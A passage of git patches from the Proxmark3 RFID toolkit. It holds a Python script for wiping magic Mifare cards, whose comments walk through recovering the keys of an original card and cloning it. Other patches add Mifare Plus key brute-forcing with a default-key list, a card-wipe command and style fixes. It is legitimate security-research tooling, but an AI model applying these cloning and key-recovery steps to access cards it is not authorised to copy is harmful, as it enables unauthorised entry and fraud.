RDV4.0 +# +# Step 1: Dumping original card and making a Mifare 7byte UID clone using S50 7byte UID +# +# Place original card to the reader. +# Dump data and recover keys +# +# hf mf autopwn +# +# You will get data, EML and key file. Backup this file, you will need them to wipe the card back to blank state. +# Place blank S50 card to the reader. +# +# Get first line from EML file (block0) and write it down using command +# +# Place it here +# | +# | +# v +# hf mf wrbl 0 B FFFFFFFFFFFF 046E46AAA53480084400120111003113 +# +# Now restore all the data using built-in restore command +# +# hf mf restore +# +# Step 2: Recovering S50 7byte UID card to the blank state +# +# Find current card data files from Step 1 in your backup or if you lost them create them again using 'hf mf autopwn' command. +# Place them in current working directory. +# +# Read hf-mf-CARD_UID-data.eml file and copy it content with CTRL-C. +# Place it to the eml variable in this script. +# +# Check execution command and check device and command name: 'proxmark3 -c "%s" /dev/tty.usbmodemiceman1' +# +# Run script and review key blocks returning to default FFFFFFFFFFFF state. +# Be patient! It is executing aprox 3 minutes. +# Success one result looks like: +# +# Block 0: Success: isOk:01 +# Block 3: Success: isOk:01 +# Block 7: Success: isOk:01 +# Block 11: Success: isOk:01 +# Block 15: Success: isOk:01 +# Block 19: Success: isOk:01 +# Block 23: Success: isOk:01 +# Block 27: Success: isOk:01 +# Block 31: Success: isOk:01 +# Block 35: Success: isOk:01 +# Block 39: Success: isOk:01 +# Block 43: Success: isOk:01 +# Block 47: Success: isOk:01 +# Block 51: Success: isOk:01 +# Block 55: Success: isOk:01 +# Block 59: Success: isOk:01 +# Block 63: Success: isOk:01 +# +# Thats it! Your S50 7byte UID card is wiped back. Now you can return back to Step 1 of this manual. +# +# + + + + +import subprocess + +# EML data var te get keys of +EML_FILE_DATA = """PLACE RAW hf-mf-CARD_UID-data.eml FILE CONTENT OF CURRENTLY LOADED CARD HERE""" +# Change your device name here if it differs from the default Proxmark3 RDV4.0 +PROXMARK_BIN_EXEC_STRING = 'proxmark3 -c "%s" /dev/tty.usbmodemiceman1' +# Constants +DEFAULT_ACCESS_BLOCK = "FFFFFFFFFFFFFF078000FFFFFFFFFFFF" +F12_KEY = "FFFFFFFFFFFF" + +def exec_proxmark_cmd(command, retry = 2, input=""): + exec_ok = False + retry_c = 0 + while not exec_ok and retry_c < retry: + sh_command = PROXMARK_BIN_EXEC_STRING % command + rst = subprocess.run(sh_command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, input=input.encode("utf-8")) + + proxmark_reply = rst.stdout.decode("utf-8") + proxmark_status = proxmark_reply.splitlines()[-1:][0].strip() + if proxmark_status == "isOk:01": + return True, "Success: " + proxmark_status + retry_c += 1 + return False, "Error: %s , status %s" % (proxmark_reply.splitlines()[-2:][0], proxmark_status) + + +def chunk(iterable,n): + """assumes n is an integer>0 + """ + iterable=iter(iterable) + while True: + result=[] + for i in range(n): + try: + a=next(iterable) + except StopIteration: + break + else: + result.append(a) + if result: + yield result + else: + break + +sector_array = [sector for sector in chunk(EML_FILE_DATA.splitlines(), 4)] +block = 0 +block_success = {} + +for sector in sector_array: + key_A = sector[3][:12] + key_B = sector[3][-12:] + for _block in range(0,4): + if sector_array.index(sector) == 0 and block == 0: + write_status, verbose = exec_proxmark_cmd("hf mf wrbl %s B %s %s" % (block, key_B, sector[0])) + if not write_status: + write_status, verbose = exec_proxmark_cmd("hf mf wrbl %s A %s %s" % (block, key_A, sector[0])) + if not write_status: + write_status, verbose = exec_proxmark_cmd("hf mf wrbl %s A %s %s" % (block, F12_KEY, sector[0])) + block_success[block] = verbose + + elif _block == 3: + write_status, verbose = exec_proxmark_cmd("hf mf wrbl %s B %s %s" % (block, key_B, DEFAULT_ACCESS_BLOCK)) + if not write_status: + write_status, verbose = exec_proxmark_cmd("hf mf wrbl %s A %s %s" % (block, key_A, DEFAULT_ACCESS_BLOCK)) + if not write_status: + write_status, verbose = exec_proxmark_cmd("hf mf wrbl %s A %s %s" % (block, F12_KEY, DEFAULT_ACCESS_BLOCK)) + block_success[block] = verbose + + _block += 1 + block += 1 + +for block in block_success: + print("Block %s: %s" % (block ,block_success[block])) \ No newline at end of file From bb5c4d6162c8037244a93d428972f7be5db64801 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 3 Dec 2019 14:50:48 +0100 Subject: [PATCH 060/418] Add python script to wipe S70 7b Gen2 magic tags. Thanks @vulnersCom --- CHANGELOG.md | 3 ++- tools/pm3_mf7b_wipe.py | 2 +- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 161c581c2..296c892dc 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,7 +3,8 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] - - Added mf plus command `hf mfp chk` for check keys from public keys list, from dictionary or 1 and 2-byte bruteforce (@merlokk) + - Added 'pm3_mf7b_wipe.py' python script. Wipes magic S70 7B Gen2 card. (@vulnersCom) + - Added `hf mfp chk` Mifare plus command for check keys from public keys list, from dictionary or 1 and 2-byte bruteforce (@merlokk) - Change `hf 15` - some refactoring (@grspy) - Added `hf 15 writeafi` and `hf 15 writedsfid` (@grspy) - Added detailed info for SLIX2 tags in `hf 15 info` (@grspy) diff --git a/tools/pm3_mf7b_wipe.py b/tools/pm3_mf7b_wipe.py index bfa1f2524..f4c58ce01 100644 --- a/tools/pm3_mf7b_wipe.py +++ b/tools/pm3_mf7b_wipe.py @@ -147,4 +147,4 @@ for sector in sector_array: block += 1 for block in block_success: - print("Block %s: %s" % (block ,block_success[block])) \ No newline at end of file + print("Block %s: %s" % (block ,block_success[block])) From b5be8a3663181035b093136df82541c3d203dbb0 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 3 Dec 2019 14:51:55 +0100 Subject: [PATCH 061/418] style --- client/cmdhfmfdes.c | 8 ++--- client/cmdhfmfp.c | 70 ++++++++++++++++++++--------------------- client/fileutils.c | 20 ++++++------ client/fileutils.h | 4 +-- client/mifare/mifare4.c | 2 +- 5 files changed, 52 insertions(+), 52 deletions(-) diff --git a/client/cmdhfmfdes.c b/client/cmdhfmfdes.c index d1b1b5dd8..63e5a5be5 100644 --- a/client/cmdhfmfdes.c +++ b/client/cmdhfmfdes.c @@ -325,10 +325,10 @@ void getKeySettings(uint8_t *aid) { // LOOP over numOfKeys that we got before. // From 0x01 to numOfKeys. We already got 0x00. (AMK) // TODO (iceman) -/* - for (int i = 0x01; i <= 0x0f; ++i) { - } -*/ + /* + for (int i = 0x01; i <= 0x0f; ++i) { + } + */ } } diff --git a/client/cmdhfmfp.c b/client/cmdhfmfp.c index 2c0fc56eb..ec7c4cc72 100644 --- a/client/cmdhfmfp.c +++ b/client/cmdhfmfp.c @@ -642,9 +642,9 @@ static int CmdHFMFPWrbl(const char *cmd) { #define AES_KEY_LEN 16 #define MAX_KEYS_LIST_LEN 1024 - int MFPKeyCheck(uint8_t startSector, uint8_t endSector, uint8_t startKeyAB, uint8_t endKeyAB, - uint8_t keyList[MAX_KEYS_LIST_LEN][AES_KEY_LEN], size_t keyListLen, uint8_t foundKeys[2][64][AES_KEY_LEN + 1], - bool verbose) { +int MFPKeyCheck(uint8_t startSector, uint8_t endSector, uint8_t startKeyAB, uint8_t endKeyAB, + uint8_t keyList[MAX_KEYS_LIST_LEN][AES_KEY_LEN], size_t keyListLen, uint8_t foundKeys[2][64][AES_KEY_LEN + 1], + bool verbose) { int res; bool selectCard = true; uint8_t keyn[2] = {0}; @@ -652,7 +652,7 @@ static int CmdHFMFPWrbl(const char *cmd) { // sector number from 0 for (uint8_t sector = startSector; sector <= endSector; sector++) { // 0-keyA 1-keyB - for(uint8_t keyAB = startKeyAB; keyAB <= endKeyAB; keyAB++) { + for (uint8_t keyAB = startKeyAB; keyAB <= endKeyAB; keyAB++) { // main cycle with key check for (int i = 0; i < keyListLen; i++) { if (i % 10 == 0) { @@ -668,25 +668,25 @@ static int CmdHFMFPWrbl(const char *cmd) { uint16_t uKeyNum = 0x4000 + sector * 2 + keyAB; keyn[0] = uKeyNum >> 8; keyn[1] = uKeyNum & 0xff; - + for (int retry = 0; retry < 4; retry++) { res = MifareAuth4(NULL, keyn, keyList[i], selectCard, true, false, false, true); if (res != 2) break; - + if (verbose) PrintAndLogEx(WARNING, "retried[%d]...", retry); else printf("R"); - + DropField(); selectCard = true; msleep(100); } - + if (verbose) PrintAndLogEx(WARNING, "sector %02d key %d [%s] res: %d", sector, keyAB, sprint_hex_inrow(keyList[i], 16), res); - + // key for [sector,keyAB] found if (res == 0) { if (verbose) @@ -700,7 +700,7 @@ static int CmdHFMFPWrbl(const char *cmd) { msleep(50); break; } - + // 5 - auth error (rnd not equal) if (res != 5) { if (verbose) @@ -710,12 +710,12 @@ static int CmdHFMFPWrbl(const char *cmd) { DropField(); return PM3_ECARDEXCHANGE; } - + selectCard = false; } } } - + DropField(); return PM3_SUCCESS; } @@ -740,7 +740,7 @@ static int CmdHFMFPChk(const char *cmd) { uint8_t keyList[MAX_KEYS_LIST_LEN][AES_KEY_LEN] = {{0}}; size_t keyListLen = 0; uint8_t foundKeys[2][64][AES_KEY_LEN + 1] = {{{0}}}; - + CLIParserInit("hf mfp chk", "Checks keys with Mifare Plus card.", "Usage:\n" @@ -771,8 +771,8 @@ static int CmdHFMFPChk(const char *cmd) { bool keyB = arg_get_lit(2); uint8_t startSector = arg_get_int_def(3, 0); uint8_t endSector = arg_get_int_def(4, 0); - - uint8_t vkey[16] = {0}; + + uint8_t vkey[16] = {0}; int vkeylen = 0; CLIGetHexWithReturn(5, vkey, &vkeylen); if (vkeylen > 0) { @@ -785,7 +785,7 @@ static int CmdHFMFPChk(const char *cmd) { return PM3_EINVARG; } } - + uint8_t dict_filename[FILE_PATH_SIZE + 2] = {0}; int dict_filenamelen = 0; if (CLIParamStrToBuf(arg_get_str(6), dict_filename, FILE_PATH_SIZE, &dict_filenamelen)) { @@ -793,7 +793,7 @@ static int CmdHFMFPChk(const char *cmd) { CLIParserFree(); return PM3_EINVARG; } - + bool pattern1b = arg_get_lit(7); bool pattern2b = arg_get_lit(8); @@ -808,7 +808,7 @@ static int CmdHFMFPChk(const char *cmd) { CLIParserFree(); return PM3_EINVARG; } - + uint32_t startPattern = 0x0000; uint8_t vpattern[2]; int vpatternlen = 0; @@ -824,7 +824,7 @@ static int CmdHFMFPChk(const char *cmd) { if (!pattern2b) PrintAndLogEx(WARNING, "Pattern entered, but search mode not is 2-byte search."); } - + uint8_t jsonname[250] = {0}; int jsonnamelen = 0; if (CLIParamStrToBuf(arg_get_str(10), jsonname, sizeof(jsonname), &jsonnamelen)) { @@ -833,9 +833,9 @@ static int CmdHFMFPChk(const char *cmd) { return PM3_EINVARG; } jsonname[jsonnamelen] = 0; - + bool verbose = arg_get_lit(11); - + CLIParserFree(); uint8_t startKeyAB = 0; @@ -844,22 +844,22 @@ static int CmdHFMFPChk(const char *cmd) { endKeyAB = 0; if (!keyA && keyB) startKeyAB = 1; - + if (endSector < startSector) endSector = startSector; - + // 1-byte pattern search mode if (pattern1b) { for (int i = 0; i < 0x100; i++) memset(keyList[i], i, 16); - + keyListLen = 0x100; } - + // 2-byte pattern search mode if (pattern2b) Fill2bPattern(keyList, &keyListLen, &startPattern); - + // dictionary mode size_t endFilePosition = 0; if (dict_filenamelen) { @@ -874,7 +874,7 @@ static int CmdHFMFPChk(const char *cmd) { for (int i = 0; i < g_mifare_plus_default_keys_len; i++) { if (hex_to_bytes(g_mifare_plus_default_keys[i], keyList[keyListLen], 16) != 16) break; - + keyListLen++; } } @@ -921,17 +921,17 @@ static int CmdHFMFPChk(const char *cmd) { PrintAndLogEx(INFO, "|------|--------------------------------|--------------------------------|"); printedHeader = true; } - PrintAndLogEx(INFO, "| %02d |%32s|%32s|", - sector, - (foundKeys[0][sector][0] == 0) ? "------ " : sprint_hex_inrow(&foundKeys[0][sector][1], AES_KEY_LEN), - (foundKeys[1][sector][0] == 0) ? "------ " : sprint_hex_inrow(&foundKeys[1][sector][1], AES_KEY_LEN)); + PrintAndLogEx(INFO, "| %02d |%32s|%32s|", + sector, + (foundKeys[0][sector][0] == 0) ? "------ " : sprint_hex_inrow(&foundKeys[0][sector][1], AES_KEY_LEN), + (foundKeys[1][sector][0] == 0) ? "------ " : sprint_hex_inrow(&foundKeys[1][sector][1], AES_KEY_LEN)); } } if (!printedHeader) PrintAndLogEx(INFO, "No keys found("); else PrintAndLogEx(INFO, "'------'--------------------------------'--------------------------------'\n"); - + // save keys to json if ((jsonnamelen > 0) && printedHeader) { // Mifare Plus info @@ -955,13 +955,13 @@ static int CmdHFMFPChk(const char *cmd) { atslen = card.ats_len; data[13] = atslen; memcpy(&data[14], card.ats, atslen); - } - + } + // length: UID(10b)+SAK(1b)+ATQA(2b)+ATSlen(1b)+ATS(atslen)+foundKeys[2][64][AES_KEY_LEN + 1] memcpy(&data[14 + atslen], foundKeys, 2 * 64 * (AES_KEY_LEN + 1)); saveFileJSON((char *)jsonname, jsfMfPlusKeys, data, 64); } - + return PM3_SUCCESS; } diff --git a/client/fileutils.c b/client/fileutils.c index d82c00a48..7c10fe50c 100644 --- a/client/fileutils.c +++ b/client/fileutils.c @@ -751,17 +751,17 @@ int loadFileDICTIONARY(const char *preferredName, void *data, size_t *datalen, u if (keylen != 4 && keylen != 6 && keylen != 8 && keylen != 16) { keylen = 6; } - + return loadFileDICTIONARYEx(preferredName, data, 0, datalen, keylen, keycnt, 0, NULL, true); } -int loadFileDICTIONARYEx(const char *preferredName, void *data, size_t maxdatalen, size_t *datalen, uint8_t keylen, uint16_t *keycnt, - size_t startFilePosition, size_t *endFilePosition, bool verbose) { +int loadFileDICTIONARYEx(const char *preferredName, void *data, size_t maxdatalen, size_t *datalen, uint8_t keylen, uint16_t *keycnt, + size_t startFilePosition, size_t *endFilePosition, bool verbose) { if (endFilePosition) *endFilePosition = 0; if (data == NULL) return PM3_EINVARG; uint16_t vkeycnt = 0; - + char *path; if (searchFile(&path, DICTIONARIES_SUBDIR, preferredName, ".dic", false) != PM3_SUCCESS) return PM3_EFILE; @@ -780,10 +780,10 @@ int loadFileDICTIONARYEx(const char *preferredName, void *data, size_t maxdatale retval = PM3_EFILE; goto out; } - + if (startFilePosition) fseek(f, startFilePosition, SEEK_SET); - + // read file while (!feof(f)) { size_t filepos = ftell(f); @@ -791,8 +791,8 @@ int loadFileDICTIONARYEx(const char *preferredName, void *data, size_t maxdatale if (endFilePosition) *endFilePosition = 0; break; - } - + } + // add null terminator line[keylen] = 0; @@ -814,10 +814,10 @@ int loadFileDICTIONARYEx(const char *preferredName, void *data, size_t maxdatale *endFilePosition = filepos; break; } - + if (hex_to_bytes(line, data + counter, keylen >> 1) != (keylen >> 1)) continue; - + vkeycnt++; memset(line, 0, sizeof(line)); counter += (keylen >> 1); diff --git a/client/fileutils.h b/client/fileutils.h index c9de3b4fb..523e957a7 100644 --- a/client/fileutils.h +++ b/client/fileutils.h @@ -199,8 +199,8 @@ int loadFileDICTIONARY(const char *preferredName, void *data, size_t *datalen, u * @param verbose print messages if true * @return 0 for ok, 1 for failz */ -int loadFileDICTIONARYEx(const char *preferredName, void *data, size_t maxdatalen, size_t *datalen, uint8_t keylen, uint16_t *keycnt, - size_t startFilePosition, size_t *endFilePosition, bool verbose); +int loadFileDICTIONARYEx(const char *preferredName, void *data, size_t maxdatalen, size_t *datalen, uint8_t keylen, uint16_t *keycnt, + size_t startFilePosition, size_t *endFilePosition, bool verbose); /** * @brief Utility function to load data safely from a DICTIONARY textfile. This method takes a preferred name. diff --git a/client/mifare/mifare4.c b/client/mifare/mifare4.c index 7eecbe751..8bf0788b4 100644 --- a/client/mifare/mifare4.c +++ b/client/mifare/mifare4.c @@ -175,7 +175,7 @@ int MifareAuth4(mf4Session *session, uint8_t *keyn, uint8_t *key, bool activateF uint8_t RndA[17] = {0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f, 0x00}; uint8_t RndB[17] = {0}; - if (silentMode) + if (silentMode) verbose = false; if (session) From 9782f447eb5803b99679630a6feb0a8b3433937a Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 3 Dec 2019 14:52:17 +0100 Subject: [PATCH 062/418] style --- client/mifare/mifaredefault.c | 4 ++-- client/mifare/mifaredefault.h | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/client/mifare/mifaredefault.c b/client/mifare/mifaredefault.c index 9d3b77d4f..b41859f09 100644 --- a/client/mifare/mifaredefault.c +++ b/client/mifare/mifaredefault.c @@ -11,7 +11,7 @@ #include "mifaredefault.h" #include "commonutil.h" // ARRAYLEN -const char* g_mifare_plus_default_keys[] = { +const char *g_mifare_plus_default_keys[] = { "ffffffffffffffffffffffffffffffff", // default key "00000000000000000000000000000000", "a0a1a2a3a4a5a6a7a0a1a2a3a4a5a6a7", // MAD key @@ -36,4 +36,4 @@ const char* g_mifare_plus_default_keys[] = { "00010203040506070809101112131415", "01020304050607080910111213141516" }; -size_t g_mifare_plus_default_keys_len = ARRAYLEN(g_mifare_plus_default_keys); \ No newline at end of file +size_t g_mifare_plus_default_keys_len = ARRAYLEN(g_mifare_plus_default_keys); diff --git a/client/mifare/mifaredefault.h b/client/mifare/mifaredefault.h index fdccfe22b..cdc103676 100644 --- a/client/mifare/mifaredefault.h +++ b/client/mifare/mifaredefault.h @@ -44,7 +44,7 @@ static const uint8_t g_mifare_ndef_key[] = {0xd3, 0xf7, 0xd3, 0xf7, 0xd3, 0xf7}; static const uint8_t g_mifarep_mad_key[] = {0xa0, 0xa1, 0xa2, 0xa3, 0xa4, 0xa5, 0xa6, 0xa7, 0xa0, 0xa1, 0xa2, 0xa3, 0xa4, 0xa5, 0xa6, 0xa7}; static const uint8_t g_mifarep_ndef_key[] = {0xd3, 0xf7, 0xd3, 0xf7, 0xd3, 0xf7, 0xd3, 0xf7, 0xd3, 0xf7, 0xd3, 0xf7, 0xd3, 0xf7, 0xd3, 0xf7}; -extern const char* g_mifare_plus_default_keys[]; +extern const char *g_mifare_plus_default_keys[]; extern size_t g_mifare_plus_default_keys_len; #endif From 3d4a63f46a7512a48c8622871e28f0435e0e2340 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 3 Dec 2019 14:52:34 +0100 Subject: [PATCH 063/418] style --- client/util.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/client/util.c b/client/util.c index 887f52857..856091231 100644 --- a/client/util.c +++ b/client/util.c @@ -431,7 +431,7 @@ int hex_to_bytes(const char *hexValue, uint8_t *bytesValue, size_t maxBytesValue //error when not completed hex bytes return -3; - return bytesValueLen; + return bytesValueLen; } // takes a number (uint64_t) and creates a binarray in dest. From 3d366d50ef225fff6e5dc61f0decf718b2a0a5f7 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 3 Dec 2019 14:53:08 +0100 Subject: [PATCH 064/418] style --- client/luascripts/read_pwd_mem.lua | 4 ++-- client/luascripts/read_pwd_mem_spiffs.lua | 6 +++--- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/client/luascripts/read_pwd_mem.lua b/client/luascripts/read_pwd_mem.lua index 8456fd51f..ffc00a998 100644 --- a/client/luascripts/read_pwd_mem.lua +++ b/client/luascripts/read_pwd_mem.lua @@ -26,10 +26,10 @@ example = -- This will print the stored Mifare dictionary keys script run read_pwd_mem -m - + -- This will print the stored t55xx dictionary passwords script run read_pwd_mem -t - + -- This will print the stored iClass dictionary keys script run read_pwd_mem -i ]] diff --git a/client/luascripts/read_pwd_mem_spiffs.lua b/client/luascripts/read_pwd_mem_spiffs.lua index 33afa0fe9..89ef64e6d 100644 --- a/client/luascripts/read_pwd_mem_spiffs.lua +++ b/client/luascripts/read_pwd_mem_spiffs.lua @@ -16,7 +16,7 @@ example = -- This will read the other.log file in SPIFFS and print the stored passwords script run read_pwd_mem_spiffs -f other.log - + -- This will delete the hf_bog.log file from SPIFFS script run read_pwd_mem_spiffs -r ]] @@ -68,7 +68,7 @@ local function main(args) -- offset if o == 'f' then filename = a end - + -- remove if o == 'r' then removeflag = true end @@ -79,7 +79,7 @@ local function main(args) core.console("mem spiffs remove " ..filename) return end - + data, length, err = core.GetFromFlashMemSpiffs(filename) if data == nil then return oops('Problem while reading file from SPIFFS') end From 5773919f580adfa2090107f276d5b06082210bbd Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Fri, 6 Dec 2019 08:51:24 +0100 Subject: [PATCH 065/418] textual --- client/proxmark3.c | 32 ++++++++++++++++---------------- 1 file changed, 16 insertions(+), 16 deletions(-) diff --git a/client/proxmark3.c b/client/proxmark3.c index bb291ee6c..7cefc6638 100644 --- a/client/proxmark3.c +++ b/client/proxmark3.c @@ -33,24 +33,24 @@ static void showBanner(void) { PrintAndLogEx(NORMAL, "\n"); #if defined(__linux__) || (__APPLE__) || (_WIN32) - PrintAndLogEx(NORMAL, _BLUE_("██████╗ ███╗ ███╗ ████╗ ") " ...iceman fork"); - PrintAndLogEx(NORMAL, _BLUE_("██╔══██╗████╗ ████║ ══█║") " ...dedicated to " _BLUE_("RDV40")); - PrintAndLogEx(NORMAL, _BLUE_("██████╔╝██╔████╔██║ ████╔╝")); - PrintAndLogEx(NORMAL, _BLUE_("██╔═══╝ ██║╚██╔╝██║ ══█║") " iceman@icesql.net"); - PrintAndLogEx(NORMAL, _BLUE_("██║ ██║ ╚═╝ ██║ ████╔╝") " https://github.com/rfidresearchgroup/proxmark3/"); - PrintAndLogEx(NORMAL, _BLUE_("╚═╝ ╚═╝ ╚═╝ ╚═══╝ ") "pre-release v4.0"); + PrintAndLogEx(NORMAL, " " _BLUE_("██████╗ ███╗ ███╗ ████╗ ") " ...iceman repo"); + PrintAndLogEx(NORMAL, " " _BLUE_("██╔══██╗████╗ ████║ ══█║")); + PrintAndLogEx(NORMAL, " " _BLUE_("██████╔╝██╔████╔██║ ████╔╝")); + PrintAndLogEx(NORMAL, " " _BLUE_("██╔═══╝ ██║╚██╔╝██║ ══█║") " iceman@icesql.net"); + PrintAndLogEx(NORMAL, " " _BLUE_("██║ ██║ ╚═╝ ██║ ████╔╝") " https://github.com/rfidresearchgroup/proxmark3/"); + PrintAndLogEx(NORMAL, " " _BLUE_("╚═╝ ╚═╝ ╚═╝ ╚═══╝ ") "pre-release v4.0"); #else - PrintAndLogEx(NORMAL, "======. ===. ===. ====. ...iceman fork"); - PrintAndLogEx(NORMAL, "==...==.====. ====. ..=. ...dedicated to RDV40"); - PrintAndLogEx(NORMAL, "======..==.====.==. ====.."); - PrintAndLogEx(NORMAL, "==..... ==..==..==. ..=. iceman@icesql.net"); - PrintAndLogEx(NORMAL, "==. ==. ... ==. ====.. https://github.com/rfidresearchgroup/proxmark3/"); - PrintAndLogEx(NORMAL, "... ... ... ..... pre-release v4.0"); + PrintAndLogEx(NORMAL, " ======. ===. ===. ====. ...iceman repo"); + PrintAndLogEx(NORMAL, " ==...==.====. ====. ..=."); + PrintAndLogEx(NORMAL, " ======..==.====.==. ====.."); + PrintAndLogEx(NORMAL, " ==..... ==..==..==. ..=. iceman@icesql.net"); + PrintAndLogEx(NORMAL, " ==. ==. ... ==. ====.. https://github.com/rfidresearchgroup/proxmark3/"); + PrintAndLogEx(NORMAL, " ... ... ... ..... pre-release v4.0"); #endif - PrintAndLogEx(NORMAL, "\nSupport iceman on patreon - https://www.patreon.com/iceman1001/"); - PrintAndLogEx(NORMAL, " on paypal - https://www.paypal.me/iceman1001"); +// PrintAndLogEx(NORMAL, "\nSupport iceman on patreon - https://www.patreon.com/iceman1001/"); +// PrintAndLogEx(NORMAL, " on paypal - https://www.paypal.me/iceman1001"); // printf("\nMonero: 43mNJLpgBVaTvyZmX9ajcohpvVkaRy1kbZPm8tqAb7itZgfuYecgkRF36rXrKFUkwEGeZedPsASRxgv4HPBHvJwyJdyvQuP"); - PrintAndLogEx(NORMAL, "\n"); + PrintAndLogEx(NORMAL, ""); fflush(stdout); g_printAndLog = PRINTANDLOG_PRINT | PRINTANDLOG_LOG; @@ -807,7 +807,7 @@ int main(int argc, char *argv[]) { exit(EXIT_FAILURE); if (!session.pm3_present) - PrintAndLogEx(INFO, "Running in " _YELLOW_("OFFLINE") "mode. Check \"%s -h\" if it's not what you want.\n", exec_name); + PrintAndLogEx(INFO, "Running in " _YELLOW_("OFFLINE") "mode. Check " _YELLOW_("\"%s -h\"") " if it's not what you want.\n", exec_name); #ifdef HAVE_GUI From 326e6aa9f2b38bd818f39c2bc45be9443393f60f Mon Sep 17 00:00:00 2001 From: merlokk <807634+merlokk@users.noreply.github.com> Date: Fri, 6 Dec 2019 17:04:22 +0200 Subject: [PATCH 066/418] added hf mf cwipe --- client/cmdhfmf.c | 51 ++++++++++++++++++++++++++++++++++++++ client/mifare/mifarehost.c | 44 ++++++++++++++++++++++++++++++++ client/mifare/mifarehost.h | 1 + 3 files changed, 96 insertions(+) diff --git a/client/cmdhfmf.c b/client/cmdhfmf.c index ad6fe31b2..680b9da19 100644 --- a/client/cmdhfmf.c +++ b/client/cmdhfmf.c @@ -3665,6 +3665,56 @@ static int CmdHF14AMfCSetUID(const char *Cmd) { return PM3_SUCCESS; } +static int CmdHF14AMfCWipe(const char *cmd) { + uint8_t uid[8] = {0x00}; + int uidLen = 0; + uint8_t atqa[2] = {0x00}; + int atqaLen = 0; + uint8_t sak[1] = {0x00}; + int sakLen = 0; + + CLIParserInit("hf mf cwipe", + "Wipe Gen1 magic cheneese card. Set UID/ATQA/SAK/Data/Keys/Access to default values.", + "Usage:\n\thf mf cwipe -> wipe card.\n" + "\thf mfp mf cwipe -u 09080706 -a 0004 -s 18 -> set UID, ATQA and SAK and wipe card."); + + void *argtable[] = { + arg_param_begin, + arg_str0("uU", "uid", "", "UID for card"), + arg_str0("aA", "atqa", "", "ATQA for card"), + arg_str0("sS", "sak", "", "SAK for card"), + arg_param_end + }; + CLIExecWithReturn(cmd, argtable, true); + + CLIGetHexWithReturn(1, uid, &uidLen); + CLIGetHexWithReturn(2, atqa, &atqaLen); + CLIGetHexWithReturn(3, sak, &sakLen); + CLIParserFree(); + + if (uidLen && uidLen != 4) { + PrintAndLogEx(ERR, "UID length must be 4 bytes instead of: %d", uidLen); + return PM3_EINVARG; + } + if (atqaLen && atqaLen != 2) { + PrintAndLogEx(ERR, "UID length must be 2 bytes instead of: %d", atqaLen); + return PM3_EINVARG; + } + if (sakLen && sakLen != 1) { + PrintAndLogEx(ERR, "UID length must be 1 byte instead of: %d", sakLen); + return PM3_EINVARG; + } + + int res = mfCWipe((uidLen)? uid : NULL, (atqaLen) ? atqa : NULL, (sakLen) ? sak : NULL); + if (res) { + PrintAndLogEx(ERR, "Can't wipe card. error=%d", res); + return PM3_ESOFT; + } + + PrintAndLogEx(SUCCESS, "Card wiped successfully"); + return PM3_SUCCESS; +} + static int CmdHF14AMfCSetBlk(const char *Cmd) { uint8_t block[16] = {0x00}; uint8_t blockNo = 0; @@ -4446,6 +4496,7 @@ static command_t CommandTable[] = { {"ekeyprn", CmdHF14AMfEKeyPrn, IfPm3Iso14443a, "Print keys from simulator memory"}, {"-----------", CmdHelp, IfPm3Iso14443a, ""}, {"csetuid", CmdHF14AMfCSetUID, IfPm3Iso14443a, "Set UID (magic chinese card)"}, + {"cwipe", CmdHF14AMfCWipe, IfPm3Iso14443a, "Wipe card to default UID/Sectors/Keys"}, {"csetblk", CmdHF14AMfCSetBlk, IfPm3Iso14443a, "Write block (magic chinese card)"}, {"cgetblk", CmdHF14AMfCGetBlk, IfPm3Iso14443a, "Read block (magic chinese card)"}, {"cgetsc", CmdHF14AMfCGetSc, IfPm3Iso14443a, "Read sector (magic chinese card)"}, diff --git a/client/mifare/mifarehost.c b/client/mifare/mifarehost.c index 39d2d6001..151ac72cf 100644 --- a/client/mifare/mifarehost.c +++ b/client/mifare/mifarehost.c @@ -615,6 +615,50 @@ int mfCSetUID(uint8_t *uid, uint8_t *atqa, uint8_t *sak, uint8_t *oldUID, uint8_ return mfCSetBlock(0, block0, oldUID, params); } +int mfCWipe(uint8_t *uid, uint8_t *atqa, uint8_t *sak) { + uint8_t block0[16] = {0x01, 0x02, 0x03, 0x04, 0x04, 0x08, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBE, 0xAF}; + uint8_t blockD[16] = {0x00}; + uint8_t blockK[16] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x08, 0x77, 0x8F, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}; + uint8_t params = MAGIC_SINGLE; + + if (uid != NULL) { + memcpy(block0, uid, 4); + block0[4] = block0[0] ^ block0[1] ^ block0[2] ^ block0[3]; + } + if (sak != NULL) + block0[5] = sak[0]; + + if (atqa != NULL) { + block0[6] = atqa[1]; + block0[7] = atqa[0]; + } + int res; + for (int blockNo = 0; blockNo < 4 * 16; blockNo++) { + for (int retry = 0; retry < 3; retry++) { + if (blockNo == 0) { + res = mfCSetBlock(blockNo, block0, NULL, params); + } else { + if (mfIsSectorTrailer(blockNo)) + res = mfCSetBlock(blockNo, blockK, NULL, params); + else + res = mfCSetBlock(blockNo, blockD, NULL, params); + } + + if (res == PM3_SUCCESS) + break; + PrintAndLogEx(WARNING, "Retry block[%d]...", blockNo); + } + + if (res) { + PrintAndLogEx(ERR, "Error setting block[%d]: %d", blockNo, res); + return res; + } + } + DropField(); + + return PM3_SUCCESS; +} + int mfCSetBlock(uint8_t blockNo, uint8_t *data, uint8_t *uid, uint8_t params) { clearCommandBuffer(); diff --git a/client/mifare/mifarehost.h 